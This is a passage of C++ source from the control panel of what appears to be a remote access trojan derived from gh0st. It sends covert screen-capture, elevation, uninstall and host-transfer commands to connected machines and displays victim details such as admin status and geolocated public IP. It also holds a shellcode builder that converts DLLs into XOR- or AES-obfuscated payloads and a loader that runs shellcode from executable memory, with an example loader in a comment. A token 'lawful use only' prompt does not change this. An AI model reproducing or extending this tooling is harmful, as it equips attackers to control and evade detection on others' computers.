EnterCriticalSection(&m_cs);
|
||
POSITION Pos = m_CList_Online.GetFirstSelectedItemPosition();
|
||
while (Pos && menuIndex < m_DllList.size()) {
|
||
Buffer* buf = m_DllList[menuIndex]->Data;
|
||
int iItem = m_CList_Online.GetNextSelectedItem(Pos);
|
||
context* ContextObject = GetContextByListIndex(iItem);
|
||
if (!ContextObject) continue;
|
||
ContextObject->Send2Client( buf->Buf(), 1 + sizeof(DllExecuteInfo) );
|
||
}
|
||
LeaveCriticalSection(&m_cs);
|
||
}
|
||
void CMy2015RemoteDlg::OnOnlineVirtualDesktop()
|
||
{
|
||
BYTE bToken[32] = { COMMAND_SCREEN_SPY, 2, ALGORITHM_DIFF, THIS_CFG.GetInt("settings", "MultiScreen", TRUE) };
|
||
SendSelectedCommand(bToken, sizeof(bToken));
|
||
}
|
||
|
||
|
||
void CMy2015RemoteDlg::OnOnlineGrayDesktop()
|
||
{
|
||
if (!ShouldRemoteControl())
|
||
return;
|
||
BYTE bToken[32] = { COMMAND_SCREEN_SPY, 0, ALGORITHM_GRAY, THIS_CFG.GetInt("settings", "MultiScreen", TRUE) };
|
||
SendSelectedCommand(bToken, sizeof(bToken));
|
||
}
|
||
|
||
|
||
void CMy2015RemoteDlg::OnOnlineRemoteDesktop()
|
||
{
|
||
if (!ShouldRemoteControl())
|
||
return;
|
||
BYTE bToken[32] = { COMMAND_SCREEN_SPY, 1, ALGORITHM_DIFF, THIS_CFG.GetInt("settings", "MultiScreen", TRUE) };
|
||
SendSelectedCommand(bToken, sizeof(bToken));
|
||
}
|
||
|
||
|
||
void CMy2015RemoteDlg::OnOnlineH264Desktop()
|
||
{
|
||
if (!ShouldRemoteControl())
|
||
return;
|
||
BYTE bToken[32] = { COMMAND_SCREEN_SPY, 0, ALGORITHM_H264, THIS_CFG.GetInt("settings", "MultiScreen", TRUE) };
|
||
SendSelectedCommand(bToken, sizeof(bToken));
|
||
}
|
||
|
||
|
||
void CMy2015RemoteDlg::OnWhatIsThis()
|
||
{
|
||
CString content = THIS_CFG.GetStr("settings", "HelpUrl", BRAND_URL_WIKI).c_str();
|
||
if (content.Left(4).CompareNoCase(_T("http")) == 0) {
|
||
ShellExecute(NULL, _T("open"), content, NULL, NULL, SW_SHOWNORMAL);
|
||
} else {
|
||
MessageBoxL(content, _TR("帮助"), MB_ICONINFORMATION);
|
||
}
|
||
}
|
||
|
||
|
||
void CMy2015RemoteDlg::OnOnlineAuthorize()
|
||
{
|
||
// 检查选中的客户端是否已在授权数据库中
|
||
std::string ip, machineName, sn;
|
||
EnterCriticalSection(&m_cs);
|
||
int nItem = m_CList_Online.GetNextItem(-1, LVNI_SELECTED);
|
||
context* ctx = GetContextByListIndex(nItem);
|
||
if (ctx) {
|
||
ip = ctx->GetClientData(ONLINELIST_IP).GetString();
|
||
machineName = ctx->GetClientData(ONLINELIST_COMPUTER_NAME).GetString();
|
||
}
|
||
LeaveCriticalSection(&m_cs);
|
||
|
||
if (m_superPass.empty()) {
|
||
CInputDialog pass(this);
|
||
pass.Init(_TR("需要密码"), _TR("当前主控程序的密码:"));
|
||
if (pass.DoModal() != IDOK || pass.m_str.IsEmpty())
|
||
return;
|
||
std::string masterHash(GetPwdHash());
|
||
if (hashSHA256(pass.m_str.GetBuffer()) != masterHash) {
|
||
MessageBoxL("密码不正确!", "错误", MB_ICONWARNING);
|
||
return;
|
||
}
|
||
m_superPass = pass.m_str;
|
||
}
|
||
|
||
CInputDialog dlg(this);
|
||
dlg.Init(_TR("发送授权"), _TR("授权天数:"));
|
||
dlg.Init2(_TR("并发连接数:"), std::to_string(100).c_str());
|
||
if (dlg.DoModal() != IDOK || atoi(dlg.m_str) <= 0)
|
||
return;
|
||
BYTE bToken[32] = { CMD_AUTHORIZATION };
|
||
unsigned short days = atoi(dlg.m_str);
|
||
unsigned short num = atoi(dlg.m_sSecondInput);
|
||
uint32_t tm = clock();
|
||
// 2字节天数+2字节主机数+4字节时间戳+消息签名
|
||
memcpy(bToken+1, &days, sizeof(days));
|
||
memcpy(bToken+3, &num, sizeof(num));
|
||
memcpy(bToken + 8, &tm, sizeof(tm));
|
||
uint64_t signature = SignMessage(m_superPass, bToken, 12);
|
||
memcpy(bToken + 12, &signature, sizeof(signature));
|
||
SendSelectedCommand(bToken, sizeof(bToken));
|
||
}
|
||
|
||
CString FormatValue(double dValue, LPCTSTR szUnit)
|
||
{
|
||
CString str;
|
||
if (dValue == (int)dValue)
|
||
str.FormatL(_T("%d%s"), (int)dValue, szUnit);
|
||
else
|
||
str.FormatL(_T("%.1f%s"), dValue, szUnit);
|
||
return str;
|
||
}
|
||
|
||
CString GetElapsedTime(LPCTSTR szBaseTime)
|
||
{
|
||
int nYear, nMonth, nDay, nHour, nMin, nSec;
|
||
if (_stscanf_s(szBaseTime, _T("%d-%d-%d %d:%d:%d"),
|
||
&nYear, &nMonth, &nDay, &nHour, &nMin, &nSec) != 6) {
|
||
return _T("0s");
|
||
}
|
||
|
||
CTime tmBase(nYear, nMonth, nDay, nHour, nMin, nSec);
|
||
CTime tmNow = CTime::GetCurrentTime();
|
||
__int64 nSeconds = (tmNow - tmBase).GetTotalSeconds();
|
||
if (nSeconds < 0) nSeconds = -nSeconds;
|
||
|
||
if (nSeconds < 60)
|
||
return FormatValue((double)nSeconds, _T("s"));
|
||
else if (nSeconds < 3600)
|
||
return FormatValue(nSeconds / 60.0, _T("m"));
|
||
else if (nSeconds < 86400)
|
||
return FormatValue(nSeconds / 3600.0, _T("h"));
|
||
else
|
||
return FormatValue(nSeconds / 86400.0, _T("d"));
|
||
}
|
||
|
||
void CMy2015RemoteDlg::OnListClick(NMHDR* pNMHDR, LRESULT* pResult)
|
||
{
|
||
LPNMITEMACTIVATE pNMItem = (LPNMITEMACTIVATE)pNMHDR;
|
||
int iItem = pNMItem->iItem;
|
||
|
||
CLock lock(m_cs);
|
||
context* ctx = GetContextByListIndex(iItem);
|
||
if (ctx) {
|
||
// 获取数据
|
||
CString res[RES_MAX];
|
||
CString startTime = ctx->GetClientData(ONLINELIST_STARTTIME);
|
||
ctx->GetAdditionalData(res);
|
||
FlagType type = ctx->GetFlagType();
|
||
static std::map<FlagType, std::string> typMap = {
|
||
{FLAG_WINOS, "WinOS"}, {FLAG_UNKNOWN, "Unknown"}, {FLAG_SHINE, "Shine"},
|
||
{FLAG_FUCK, "FUCK"}, {FLAG_HELLO, "Hello"}, {FLAG_HELL, "HELL"},
|
||
};
|
||
CString processInfo;
|
||
if (!res[RES_PID].IsEmpty() || !res[RES_FILESIZE].IsEmpty()) {
|
||
processInfo.FormatL("\r\n进程 PID: %s %s", res[RES_PID].IsEmpty() ? "" : res[RES_PID], res[RES_FILESIZE].IsEmpty() ? "" : res[RES_FILESIZE]);
|
||
}
|
||
// 拼接内容
|
||
CString strText;
|
||
std::string expired = res[RES_EXPIRED_DATE];
|
||
expired = expired.empty() ? "" : " Expired on " + expired;
|
||
strText.FormatL(_T("文件路径: %s%s %s%s\r\n系统信息: %s 位 %s 核心 %s GB %s\r\n启动信息: %s %s %s%s %s\r\n上线信息: %s %d %s Master-%s\r\n客户信息: %s"),
|
||
res[RES_PROGRAM_BITS].IsEmpty() ? "" : res[RES_PROGRAM_BITS] + _L(" 位 "), res[RES_FILE_PATH], res[RES_EXE_VERSION], processInfo,
|
||
res[RES_SYSTEM_BITS], res[RES_SYSTEM_CPU], res[RES_SYSTEM_MEM], res[RES_RESOLUTION], startTime, expired.c_str(),
|
||
res[RES_USERNAME], res[RES_ISADMIN] == "1" ? _L("[管理员]") : res[RES_ISADMIN].IsEmpty() ? "" : _L("[非管理员]"), GetElapsedTime(startTime),
|
||
ctx->GetProtocol().c_str(), ctx->GetServerPort(), typMap[type].c_str(), ctx->GetMasterID().c_str(), res[RES_CLIENT_ID]);
|
||
std::string geo = res[RES_CLIENT_PUBIP].IsEmpty() ? "" : m_IPConverter->GetGeoLocation(res[RES_CLIENT_PUBIP].GetString());
|
||
if (m_HasLocDB) {
|
||
CString qqwryLoc;
|
||
qqwryLoc.FormatL("\r\n地理信息: %s", geo.c_str());
|
||
strText += qqwryLoc;
|
||
}
|
||
|
||
// 获取鼠标位置
|
||
CPoint pt;
|
||
GetCursorPos(&pt);
|
||
|
||
// 清理旧提示
|
||
DeletePopupWindow(TRUE);
|
||
|
||
// 创建提示窗口
|
||
m_pFloatingTip = new CWnd();
|
||
int width = res[RES_FILE_PATH].GetLength() * 10 + 36;
|
||
width = min(max(width, 360), 800);
|
||
CRect rect(pt.x, pt.y, pt.x + width, pt.y + 120); // 宽度、高度
|
||
|
||
BOOL bOk = m_pFloatingTip->CreateEx(
|
||
WS_EX_TOPMOST | WS_EX_TOOLWINDOW | WS_EX_NOACTIVATE,
|
||
_T("STATIC"),
|
||
strText,
|
||
WS_POPUP | WS_VISIBLE | WS_BORDER | SS_LEFT | SS_NOTIFY,
|
||
rect,
|
||
this,
|
||
0);
|
||
|
||
if (bOk) {
|
||
m_pFloatingTip->SetFont(GetFont());
|
||
m_pFloatingTip->ShowWindow(SW_SHOW);
|
||
SetTimer(TIMER_CLOSEWND, 5000, nullptr);
|
||
} else {
|
||
SAFE_DELETE(m_pFloatingTip);
|
||
}
|
||
}
|
||
|
||
*pResult = 0;
|
||
}
|
||
|
||
|
||
void CMy2015RemoteDlg::OnOnlineUnauthorize()
|
||
{
|
||
// 检查选中的客户端是否已在授权数据库中
|
||
std::string ip, machineName, sn;
|
||
EnterCriticalSection(&m_cs);
|
||
int nItem = m_CList_Online.GetNextItem(-1, LVNI_SELECTED);
|
||
context* ctx = GetContextByListIndex(nItem);
|
||
if (ctx) {
|
||
ip = ctx->GetClientData(ONLINELIST_IP).GetString();
|
||
machineName = ctx->GetClientData(ONLINELIST_COMPUTER_NAME).GetString();
|
||
}
|
||
LeaveCriticalSection(&m_cs);
|
||
|
||
if (m_superPass.empty()) {
|
||
CInputDialog pass(this);
|
||
pass.Init(_TR("需要密码"), _TR("当前主控程序的密码:"));
|
||
if (pass.DoModal() != IDOK || pass.m_str.IsEmpty())
|
||
return;
|
||
std::string masterHash(GetPwdHash());
|
||
if (hashSHA256(pass.m_str.GetBuffer()) != masterHash) {
|
||
MessageBoxL("密码不正确!", "错误", MB_ICONWARNING);
|
||
return;
|
||
}
|
||
m_superPass = pass.m_str;
|
||
}
|
||
|
||
BYTE bToken[32] = { CMD_AUTHORIZATION };
|
||
unsigned short days = 0;
|
||
unsigned short num = 1;
|
||
uint32_t tm = clock();
|
||
// 2字节天数+2字节主机数+4字节时间戳+消息签名
|
||
memcpy(bToken + 1, &days, sizeof(days));
|
||
memcpy(bToken + 3, &num, sizeof(num));
|
||
memcpy(bToken + 8, &tm, sizeof(tm));
|
||
uint64_t signature = SignMessage(m_superPass, bToken, 12);
|
||
memcpy(bToken + 12, &signature, sizeof(signature));
|
||
SendSelectedCommand(bToken, sizeof(bToken));
|
||
}
|
||
|
||
|
||
void CMy2015RemoteDlg::OnToolRequestAuth()
|
||
{
|
||
std::string pwd = THIS_CFG.GetStr("settings", "Password");
|
||
BOOL noPwd = pwd.empty();
|
||
if (noPwd && IDYES != MessageBoxL("本软件仅限于合法、正当、合规的用途。\r\n您是否同意?",
|
||
"声明", MB_ICONQUESTION | MB_YESNO))
|
||
return;
|
||
CInputDialog dlg(this);
|
||
dlg.m_str = getDeviceID(GetHardwareID()).c_str();
|
||
dlg.Init(noPwd ? _TR("请求授权") : _TR("序列号"), _TR("序列号(唯一ID):"));
|
||
if (!noPwd)
|
||
dlg.Init2(_TR("授权口令:"), pwd.c_str());
|
||
if (IDOK == dlg.DoModal() && noPwd) {
|
||
CString content = THIS_CFG.GetStr("settings", "RequestAuthUrl", BRAND_URL_REQUEST_AUTH).c_str();
|
||
if (content.Left(4).CompareNoCase(_T("http")) == 0) {
|
||
ShellExecute(NULL, _T("open"), content, NULL, NULL, SW_SHOWNORMAL);
|
||
} else {
|
||
MessageBoxL(content, _TR("请求授权"), MB_ICONINFORMATION);
|
||
}
|
||
}
|
||
}
|
||
|
||
|
||
void CMy2015RemoteDlg::OnToolInputPassword()
|
||
{
|
||
if (CheckValid(-1)) {
|
||
CString pwd = THIS_CFG.GetStr("settings", "Password", "").c_str();
|
||
auto v = splitString(pwd.GetBuffer(), '-');
|
||
CString info;
|
||
info.FormatL("软件有效期限: %s ~ %s, 并发连接数量: %d.", v[0].c_str(), v[1].c_str(), atoi(v[2].c_str()));
|
||
if (IDYES == MessageBoxL(info + _TR("\n如需修改授权信息,请联系管理员。是否现在修改授权?"), "提示", MB_YESNO | MB_ICONINFORMATION)) {
|
||
CPasswordDlg dlg(this);
|
||
std::string hardwareID = GetHardwareID();
|
||
std::string hashedID = hashSHA256(hardwareID);
|
||
std::string deviceID = getFixedLengthID(hashedID);
|
||
dlg.m_sDeviceID = deviceID.c_str();
|
||
dlg.m_sPassword = THIS_CFG.GetStr("settings", "Password", "").c_str();
|
||
dlg.m_sPasscodeHmac = THIS_CFG.GetStr("settings", "PwdHmac", "").c_str();
|
||
if (IDOK == dlg.DoModal() && !dlg.m_sPassword.IsEmpty()) {
|
||
THIS_CFG.SetStr("settings", "SN", dlg.m_sDeviceID.GetString());
|
||
THIS_CFG.SetStr("settings", "Password", dlg.m_sPassword.GetString());
|
||
THIS_CFG.SetStr("settings", "PwdHmac", dlg.m_sPasscodeHmac.GetString());
|
||
#ifdef _DEBUG
|
||
SetTimer(TIMER_CHECK, 10 * 1000, NULL);
|
||
#else
|
||
SetTimer(TIMER_CHECK, 600 * 1000, NULL);
|
||
#endif
|
||
}
|
||
}
|
||
}
|
||
}
|
||
|
||
bool safe_exec(void *exec)
|
||
{
|
||
__try {
|
||
((void(*)())exec)();
|
||
return true;
|
||
} __except (EXCEPTION_EXECUTE_HANDLER) {
|
||
VirtualFree(exec, 0, MEM_RELEASE);
|
||
}
|
||
return false;
|
||
}
|
||
|
||
/* Example: <Select TinyRun.dll to build "tinyrun.c">
|
||
#include "tinyrun.c"
|
||
#include <windows.h>
|
||
#include <stdio.h>
|
||
|
||
int main() {
|
||
void* exec = VirtualAlloc(NULL,Shellcode_len,MEM_COMMIT | MEM_RESERVE,PAGE_EXECUTE_READWRITE);
|
||
if (exec) {
|
||
memcpy(exec, Shellcode, Shellcode_len);
|
||
((void(*)())exec)();
|
||
Sleep(INFINITE);
|
||
}
|
||
return 0;
|
||
}
|
||
*/
|
||
#include "common/obfs.h"
|
||
void shellcode_process(ObfsBase *obfs, bool load = false, const char* suffix = ".c")
|
||
{
|
||
CFileDialog fileDlg(TRUE, NULL, NULL, OFN_HIDEREADONLY | OFN_OVERWRITEPROMPT,
|
||
load ? _T("BIN Files (*.bin)|*.bin|All Files (*.*)|*.*||"):
|
||
_T("DLL Files (*.dll)|*.dll|All Files (*.*)|*.*||"), AfxGetMainWnd());
|
||
int ret = 0;
|
||
try {
|
||
ret = fileDlg.DoModal();
|
||
} catch (...) {
|
||
AfxMessageBoxL("文件对话框未成功打开! 请稍后再试。", MB_ICONWARNING);
|
||
return;
|
||
}
|
||
if (ret == IDOK) {
|
||
CString name = fileDlg.GetPathName();
|
||
CFile File;
|
||
BOOL r = File.Open(name, CFile::typeBinary | CFile::modeRead);
|
||
if (!r) {
|
||
AfxMessageBoxL(_TR("文件打开失败! 请稍后再试。") + "\r\n" + name, MB_ICONWARNING);
|
||
return;
|
||
}
|
||
int dwFileSize = File.GetLength();
|
||
int padding = ALIGN16(dwFileSize) - dwFileSize;
|
||
LPBYTE szBuffer = new BYTE[dwFileSize + padding];
|
||
memset(szBuffer + dwFileSize, 0, padding);
|
||
File.Read(szBuffer, dwFileSize);
|
||
File.Close();
|
||
|
||
LPBYTE srcData = NULL;
|
||
int srcLen = 0;
|
||
if (load) {
|
||
const uint32_t key = 0xDEADBEEF;
|
||
obfs->DeobfuscateBuffer(szBuffer, dwFileSize, key);
|
||
void* exec = VirtualAlloc(NULL, dwFileSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
|
||
if (exec) {
|
||
memcpy(exec, szBuffer, dwFileSize);
|
||
if (safe_exec(exec)) {
|
||
AfxMessageBoxL("Shellcode 执行成功! ", MB_ICONINFORMATION);
|
||
} else {
|
||
AfxMessageBoxL("Shellcode 执行失败! 请用本程序生成的 bin 文件进行测试! ", MB_ICONERROR);
|
||
}
|
||
}
|
||
} else if (MakeShellcode(srcData, srcLen, (LPBYTE)szBuffer, dwFileSize, true)) {
|
||
TCHAR buffer[MAX_PATH];
|
||
_tcscpy_s(buffer, name);
|
||
PathRemoveExtension(buffer);
|
||
const uint32_t key = 0xDEADBEEF;
|
||
obfs->ObfuscateBuffer(srcData, srcLen, key);
|
||
if (obfs->WriteFile(CString(buffer) + suffix, srcData, srcLen, "Shellcode")) {
|
||
AfxMessageBoxL(_TR("Shellcode 生成成功! 请自行编写调用程序。") + "\r\n" + CString(buffer) + suffix,
|
||
MB_ICONINFORMATION);
|
||
}
|
||
}
|
||
SAFE_DELETE_ARRAY(srcData);
|
||
SAFE_DELETE_ARRAY(szBuffer);
|
||
}
|
||
}
|
||
|
||
void CMy2015RemoteDlg::OnToolGenShellcode()
|
||
{
|
||
ObfsBase obfs;
|
||
shellcode_process(&obfs);
|
||
}
|
||
|
||
void CMy2015RemoteDlg::OnObfsShellcode()
|
||
{
|
||
Obfs obfs;
|
||
shellcode_process(&obfs);
|
||
}
|
||
|
||
void CMy2015RemoteDlg::OnShellcodeAesCArray()
|
||
{
|
||
ObfsAes obfs;
|
||
shellcode_process(&obfs);
|
||
}
|
||
|
||
|
||
void CMy2015RemoteDlg::OnToolGenShellcodeBin()
|
||
{
|
||
ObfsBase obfs(false);
|
||
shellcode_process(&obfs, false, ".bin");
|
||
}
|
||
|
||
void CMy2015RemoteDlg::OnObfsShellcodeBin()
|
||
{
|
||
Obfs obfs(false);
|
||
shellcode_process(&obfs, false, ".bin");
|
||
}
|
||
|
||
|
||
void CMy2015RemoteDlg::OnShellcodeLoadTest()
|
||
{
|
||
if (MessageBoxL(CString(_TR("是否测试 ")) + (sizeof(void*) == 8 ? _TR("64位") : _TR("32位")) +
|
||
_TR(" Shellcode 二进制文件? 请选择受信任的 bin 文件。") + "\r\n" + _TR("测试未知来源的 Shellcode 可能导致程序崩溃,甚至存在 CC 风险。"),
|
||
"提示", MB_ICONQUESTION | MB_YESNO) == IDYES) {
|
||
ObfsBase obfs;
|
||
shellcode_process(&obfs, true);
|
||
}
|
||
}
|
||
|
||
|
||
void CMy2015RemoteDlg::OnShellcodeObfsLoadTest()
|
||
{
|
||
if (MessageBoxL(CString(_TR("是否测试 ")) + (sizeof(void*) == 8 ? _TR("64位") : _TR("32位")) +
|
||
_TR(" Shellcode 二进制文件? 请选择受信任的 bin 文件。") + "\r\n" + _TR("测试未知来源的 Shellcode 可能导致程序崩溃,甚至存在 CC 风险。"),
|
||
"提示", MB_ICONQUESTION | MB_YESNO) == IDYES) {
|
||
Obfs obfs;
|
||
shellcode_process(&obfs, true);
|
||
}
|
||
}
|
||
|
||
|
||
void CMy2015RemoteDlg::OnShellcodeAesBin()
|
||
{
|
||
ObfsAes obfs(false);
|
||
shellcode_process(&obfs, false, ".bin");
|
||
}
|
||
|
||
|
||
void CMy2015RemoteDlg::OnShellcodeTestAesBin()
|
||
{
|
||
if (MessageBoxL(CString(_TR("是否测试 ")) + (sizeof(void*) == 8 ? _TR("64位") : _TR("32位")) +
|
||
_TR(" Shellcode 二进制文件? 请选择受信任的 bin 文件。") + "\r\n" + _TR("测试未知来源的 Shellcode 可能导致程序崩溃,甚至存在 CC 风险。"),
|
||
"提示", MB_ICONQUESTION | MB_YESNO) == IDYES) {
|
||
ObfsAes obfs;
|
||
shellcode_process(&obfs, true);
|
||
}
|
||
}
|
||
|
||
void CMy2015RemoteDlg::OnOnlineAssignTo()
|
||
{
|
||
CInputDialog dlg(this);
|
||
dlg.Init(_TR("转移主机(到期自动复原)"), _TR("输入<IP:PORT>地址:"));
|
||
dlg.SetHistoryKey("ShareAddress");
|
||
dlg.Init2(_TR("天数(支持浮点数):"), "30");
|
||
if (dlg.DoModal() != IDOK || dlg.m_str.IsEmpty() || atof(dlg.m_sSecondInput.GetString())<=0)
|
||
return;
|
||
if (dlg.m_str.GetLength() >= 250) {
|
||
MessageBoxL("字符串长度超出[0, 250]范围限制!", "提示", MB_ICONINFORMATION);
|
||
return;
|
||
}
|
||
if (dlg.m_sSecondInput.GetLength() >= 6) {
|
||
MessageBoxL("超出使用时间可输入的字符数限制!", "提示", MB_ICONINFORMATION);
|
||
return;
|
||
}
|
||
CharMsg* buf1 = new CharMsg(dlg.m_str.GetLength() + 1);
|
||
CharMsg* buf2 = new CharMsg(dlg.m_sSecondInput.GetLength() + 1);
|
||
memcpy(buf1->data, dlg.m_str, dlg.m_str.GetLength());
|
||
memcpy(buf2->data, dlg.m_sSecondInput, dlg.m_sSecondInput.GetLength());
|
||
buf1->data[dlg.m_str.GetLength()] = 0;
|
||
buf2->data[dlg.m_sSecondInput.GetLength()] = 0;
|
||
PostMessageA(WM_ASSIGN_CLIENT, (WPARAM)buf1, (LPARAM)buf2);
|
||
}
|
||
|
||
LRESULT CMy2015RemoteDlg::assignFunction(WPARAM wParam, LPARAM lParam, BOOL all)
|
||
{
|
||
CharMsg* buf1 = (CharMsg*)wParam, *buf2 = (CharMsg*)lParam;
|
||
int len1 = strlen(buf1->data), len2 = strlen(buf2->data);
|
||
BYTE bToken[_MAX_PATH] = { COMMAND_ASSIGN_MASTER };
|
||
// 目标主机类型
|
||
bToken[1] = SHARE_TYPE_YAMA_FOREVER;
|
||
memcpy(bToken + 2, buf1->data, len1);
|
||
bToken[2 + len1] = ':';
|
||
memcpy(bToken + 2 + len1 + 1, buf2->data, len2);
|
||
all ? SendAllCommand(bToken, sizeof(bToken)) : SendSelectedCommand(bToken, sizeof(bToken));
|
||
if(buf1->needFree) delete buf1;
|
||
if(buf2->needFree) delete buf2;
|
||
return S_OK;
|
||
}
|
||
|
||
LRESULT CMy2015RemoteDlg::AssignClient(WPARAM wParam, LPARAM lParam)
|
||
{
|
||
return assignFunction(wParam, lParam, FALSE);
|
||
}
|
||
|
||
LRESULT CMy2015RemoteDlg::AssignAllClient(WPARAM wParam, LPARAM lParam)
|
||
{
|
||
return assignFunction(wParam, lParam, TRUE);
|
||
}
|
||
|
||
void CMy2015RemoteDlg::OnNMCustomdrawMessage(NMHDR* pNMHDR, LRESULT* pResult)
|
||
{
|
||
LPNMLVCUSTOMDRAW pLVCD = reinterpret_cast<LPNMLVCUSTOMDRAW>(pNMHDR);
|
||
*pResult = 0;
|
||
|
||
switch (pLVCD->nmcd.dwDrawStage) {
|
||
case CDDS_PREPAINT:
|
||
*pResult = CDRF_NOTIFYITEMDRAW;
|
||
return;
|
||
|
||
case CDDS_ITEMPREPAINT: {
|
||
int nRow = static_cast<int>(pLVCD->nmcd.dwItemSpec);
|
||
int nLastRow = m_CList_Message.GetItemCount() - 1;
|
||
if (nRow == nLastRow && nLastRow >= 0) {
|
||
pLVCD->clrText = RGB(255, 0, 0);
|
||
}
|
||
}
|
||
}
|
||
}
|
||
|
||
void CMy2015RemoteDlg::OnRClickMessage(NMHDR* pNMHDR, LRESULT* pResult)
|
||
{
|
||
*pResult = 0;
|
||
|
||
CMenu menu;
|
||
menu.CreatePopupMenu();
|
||
menu.AppendMenu(MF_STRING, ID_MSGLOG_DELETE, _TR("删除选中"));
|
||
menu.AppendMenu(MF_STRING, ID_MSGLOG_CLEAR, _TR("清空日志"));
|
||
|
||
// 没有选中项时禁用"删除选中"
|
||
if (m_CList_Message.GetSelectedCount() == 0) {
|
||
menu.EnableMenuItem(ID_MSGLOG_DELETE, MF_GRAYED);
|
||
}
|
||
// 列表为空时禁用"清空日志"
|
||
if (m_CList_Message.GetItemCount() == 0) {
|
||
menu.EnableMenuItem(ID_MSGLOG_CLEAR, MF_GRAYED);
|
||
}
|
||
|
||
CPoint pt;
|
||
GetCursorPos(&pt);
|
||
menu.TrackPopupMenu(TPM_LEFTALIGN | TPM_RIGHTBUTTON, pt.x, pt.y, this);
|
||
}
|
||
|
||
void CMy2015RemoteDlg::OnMsglogDelete()
|
||
{
|
||
// 从后往前删除,避免索引变化
|
||
POSITION pos = m_CList_Message.GetFirstSelectedItemPosition();
|
||
std::vector<int> selected;
|
||
while (pos) {
|
||
selected.push_back(m_CList_Message.GetNextSelectedItem(pos));
|
||
}
|
||
// 倒序删除
|
||
for (auto it = selected.rbegin(); it != selected.rend(); ++it) {
|
||
m_CList_Message.DeleteItem(*it);
|
||
}
|
||
}
|
||
|
||
void CMy2015RemoteDlg::OnMsglogClear()
|
||
{
|
||
m_CList_Message.DeleteAllItems();
|
||
}
|
||
|
||
|
||
void CMy2015RemoteDlg::OnOnlineAddWatch()
|
||
{
|
||
EnterCriticalSection(&m_cs);
|
||
POSITION Pos = m_CList_Online.GetFirstSelectedItemPosition();
|
||
while (Pos) {
|
||
int iItem = m_CList_Online.GetNextSelectedItem(Pos);
|
||
context* ctx = GetContextByListIndex(iItem);
|
||
if (!ctx) continue;
|
||
int r = m_ClientMap->GetClientMapInteger(ctx->GetClientID(), MAP_LEVEL);
|
||
m_ClientMap->SetClientMapInteger(ctx->GetClientID(), MAP_LEVEL, ++r >= 4 ? 0 : r);
|
||
}
|
||
m_ClientMap->SaveToFile(GetDbPath());
|
||
LeaveCriticalSection(&m_cs);
|
||
}
|
||
|
||
|
||
void CMy2015RemoteDlg::OnNMCustomdrawOnline(NMHDR* pNMHDR, LRESULT* pResult)
|
||
{
|
||
LPNMLVCUSTOMDRAW pLVCD = reinterpret_cast<LPNMLVCUSTOMDRAW>(pNMHDR);
|
||
*pResult = 0;
|
||
|
||
switch (pLVCD->nmcd.dwDrawStage) {
|
||
case CDDS_PREPAINT:
|
||
*pResult = CDRF_NOTIFYITEMDRAW;
|
||
return;
|
||
|
||
case CDDS_ITEMPREPAINT: {
|
||
int nRow = static_cast<int>(pLVCD->nmcd.dwItemSpec);
|
||
EnterCriticalSection(&m_cs);
|
||
context* ctx = nullptr;
|
||
if (nRow >= 0 && nRow < (int)m_FilteredIndices.size()) {
|
||
size_t realIdx = m_FilteredIndices[nRow];
|
||
if (realIdx < m_HostList.size()) {
|
||
ctx = m_HostList[realIdx];
|
||
}
|
||
}
|
||
LeaveCriticalSection(&m_cs);
|
||
if (!ctx) return;
|
||
int r = m_ClientMap->GetClientMapInteger(ctx->GetClientID(), MAP_LEVEL);
|
||
if (r >= 1) pLVCD->clrText = RGB(0, 0, 255); // 字体蓝
|
||
if (r >= 2) pLVCD->clrText = RGB(255, 0, 0); // 字体红
|
||
if (r >= 3) pLVCD->clrTextBk = RGB(255, 160, 160); // 背景红
|
||
}
|
||
}
|
||
}
|
||
|
||
|
||
void CMy2015RemoteDlg::OnOnlineRunAsAdmin()
|
||
{
|
||
if (MessageBoxL("确定要以管理员权限重新启动目标应用程序吗?\n此操作可能触发 UAC 账户控制。",
|
||
"提示", MB_ICONQUESTION | MB_YESNO) == IDYES) {
|
||
EnterCriticalSection(&m_cs);
|
||
POSITION Pos = m_CList_Online.GetFirstSelectedItemPosition();
|
||
while (Pos) {
|
||
int iItem = m_CList_Online.GetNextSelectedItem(Pos);
|
||
context* ContextObject = GetContextByListIndex(iItem);
|
||
if (!ContextObject) continue;
|
||
BYTE token = CMD_RUNASADMIN;
|
||
ContextObject->Send2Client(&token, sizeof(token));
|
||
}
|
||
LeaveCriticalSection(&m_cs);
|
||
}
|
||
}
|
||
|
||
|
||
void CMy2015RemoteDlg::OnMainWallet()
|
||
{
|
||
CWalletDlg dlg(this);
|
||
dlg.m_str = CString(m_settings.WalletAddress);
|
||
if (dlg.DoModal() != IDOK || CString(m_settings.WalletAddress) == dlg.m_str)
|
||
return;
|
||
if (dlg.m_str.GetLength() > 470) {
|
||
MessageBoxL("超出钱包地址可输入的字符数限制!", "提示", MB_ICONINFORMATION);
|
||
return;
|
||
}
|
||
strcpy(m_settings.WalletAddress, dlg.m_str);
|
||
THIS_CFG.SetStr("settings", "wallet", m_settings.WalletAddress);
|
||
SendMasterSettings(nullptr, m_settings);
|
||
}
|
||
|
||
|
||
void CMy2015RemoteDlg::OnMainNetwork()
|
||
{
|
||
CNetworkDlg dlg(this);
|
||
dlg.DoModal();
|
||
}
|
||
|
||
|
||
void CMy2015RemoteDlg::OnToolRcedit()
|
||
{
|
||
CRcEditDlg dlg;
|
||
dlg.DoModal();
|
||
}
|
||
|
||
|
||
void CMy2015RemoteDlg::OnOnlineUninstall()
|
||
{
|
||
if (IDYES != MessageBoxL(_T("确定卸载选定的被控程序吗?"), _T("提示"), MB_ICONQUESTION | MB_YESNO))
|
||
return;
|
||
|
||
BYTE bToken = TOKEN_UNINSTALL;
|
||
SendSelectedCommand(&bToken, sizeof(BYTE));
|
||
|
||
EnterCriticalSection(&m_cs);
|
||
// 收集选中的索引(从大到小排序,避免删除时索引变化问题)
|
||
std::vector<int> selectedItems;
|
||
POSITION Pos = m_CList_Online.GetFirstSelectedItemPosition();
|
||
while (Pos) {
|
||
selectedItems.push_back(m_CList_Online.GetNextSelectedItem(Pos));
|
||
}
|
||
std::sort(selectedItems.rbegin(), selectedItems.rend());
|
||
|
||
for (int iItem : selectedItems) {
|
||
context* ctx = GetContextByListIndex(iItem);
|
||
if (!ctx) continue;
|
||
|
||
CString strIP = ctx->GetClientData(ONLINELIST_IP);
|
||
auto tm = ctx->GetAliveTime();
|
||
std::string aliveInfo = tm >= 86400 ? floatToString(tm / 86400.f) + " d" :
|
||
tm >= 3600 ? floatToString(tm / 3600.f) + " h" :
|
||
tm >= 60 ? floatToString(tm / 60.f) + " m" : floatToString(tm) + " s";
|
||
